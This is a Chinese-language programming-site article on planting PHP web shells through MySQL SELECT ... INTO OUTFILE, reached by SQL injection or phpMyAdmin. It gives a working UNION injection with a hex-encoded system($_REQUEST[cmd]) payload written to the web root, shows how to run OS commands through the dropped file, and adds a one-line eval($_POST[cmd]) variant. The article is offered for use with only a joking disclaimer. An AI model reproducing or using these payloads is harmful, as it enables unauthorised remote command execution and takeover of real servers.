程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> 關於MYSQL數據庫 >> Mysql的語句生成後門木馬的方法

Mysql的語句生成後門木馬的方法

編輯:關於MYSQL數據庫

咳咳,大家看看就好了,本人不負責所產生的後果

復制代碼 代碼如下:
SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'

通過Mysql 的注入或者在 phpmyadmin 裡運行以上語句,則會C:/inetpub/wwwroot/下生成 cmd.php 文件,內容為原來的 vbb_strikes 內容,後面緊跟著:2 3 <?php system($_REQUEST[cmd]);?>

再通過 http://www.xxx.com/cmd.php?cmd=dir c: 就可以執行系統DOS命令!

哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什麼東西?

就是<?php system($_REQUEST[cmd]);?>的十六進制編碼了,如果不用這種方法,有不同的SQL版本會出現其它的編碼:如%xx之類的, 哪這個後門就不能執行的了!如果你有其它語名要弄,可以到UltraEdit裡輸入,再按[Ctrl+H]鍵,將裡面的十六進制連在一起就可以了!

 

 淺談MySQL導出一句話木馬拿WebShell的方法-只需要一句SQL

昨天看一篇文章中說到MySQL導出一句話木馬拿WebShell的方法。
  文章中用到的SQL語句大體如下(命令行或者其它能執行SQL命令的shell都行):
  Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
  Create TABLE temp(cmd text NOT NULL); //建立temp表,裡面就一個cmd字段
  Insert INTO temp (cmd) VALUES(''); //把一句話木馬插入到temp表
  Select cmd from temp into out file 'F:/wwwroot/eval.php'; //查詢temp表中的一句話並把結果導入到eval.php
  Drop TABLE IF EXISTS temp; //刪除temp(擦屁股o(∩_∩)o...)
  這幾句SQL很簡單,我做了簡單的注釋。
  不過想想我們在測試PHP的SQL漏洞的時候經常用如下的語句:
  /**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*
  然後返回的頁面中可能會出現1~12之間的數字。這裡加入數字3顯示出來了。
  如果我們把上面這句改成/**/UNION SELECT 1,2,'zerosoul',4,5,6,7,8,9,10,11,12/*,則返回頁面上次顯示3的地方會顯示zerosoul。
  也就是說如果我們的select語句後面不帶from table語句的話,我們說查詢的數字或字符會直接返回到查詢結果裡。
  既然這樣,我們為何還要那麼麻煩去建一個表,先導入數據,再導出這樣折騰呢。
  有了這個思路,上面那一大段到出一句話的SQL代碼可以直接簡化到一句:
  
Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';

  這樣做不但簡單明了,而且避免了誤刪別人的數據。以上所述就是本文的全部內容了,希望大家能夠喜歡。

 

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved